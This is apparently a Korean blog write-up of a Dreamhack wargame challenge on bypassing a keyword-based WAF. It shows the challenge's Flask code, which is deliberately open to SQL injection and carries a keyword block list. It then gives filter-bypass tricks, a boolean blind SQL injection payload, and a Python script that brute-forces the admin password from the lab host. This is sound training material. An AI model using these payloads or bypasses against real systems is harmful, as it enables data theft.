https://dreamhack.io/wargame/challenges/415
난이도: Level 1
init.sql
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
테이블 및 유저 생성 쿼리문을 보면, admin 계정의 패스워드가 FLAG임을 알 수 있습니다. 테이블 컬럼은 idx, uid, upw를 사용하고 있으며, idx값은 자동으로 1씩 증가하도록 테이블이 구성되어 있습니다.
app.py
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
다음으로 app.py 코드를 보면, uid를 유저로부터 입력받고 check_WAF() 함수를 통해 union, select, from 등 필터링을 수행합니다. 이후, SELECT 쿼리가 실행되고 결과를 반환합니다.
우회 방법
or => ||
admin => reverse("nimda")
and => &&
위와 같이, 우회 방법을 활용하여 쿼리를 작성해주면 됩니다. (68은 D를 의미합니다)
'||uid=reverse("nimda")&&if(ascii(substr(upw,1,1))=68,true,false)#
실행 결과 admin을 반환하는 것을 확인할 수 있습니다. 68이 아닌 다른 값을 입력할 경우엔 아무 결과가 뜨지 않는 것을 확인하여 Boolean based Blind SQL Injection으로 시도하였습니다.
Exploit Code
import requests
flag = ""
for i in range(1,50):
for j in range(32, 128):
# url = "http://host3.dreamhack.games:17827/?uid='||uid=reverse(\"nimda\")&&if(ascii(substr(upw,{},1))={},true,false)#".format(i,j)
url = "http://host3.dreamhack.games:17827/?uid='||uid%3Dreverse(\"nimda\")%26%26if(ascii(substr(upw%2C{}%2C1))%3D{}%2Ctrue%2Cfalse)%23".format(i,j)
res = requests.get(url)
if 'admin' in res.text:
flag += chr(j)
print(flag)
'DreamHack' 카테고리의 다른 글
[DreamHack] error-based-sql-injection (0) | 2023.08.09 |
---|---|
[DreamHack] sql injection bypass WAF Advanced (0) | 2023.08.09 |
[DreamHack] Apache htaccess (0) | 2023.08.08 |
[DreamHack] CSRF Advanced (0) | 2023.08.08 |
[DreamHack] ex-reg-ex (0) | 2023.08.08 |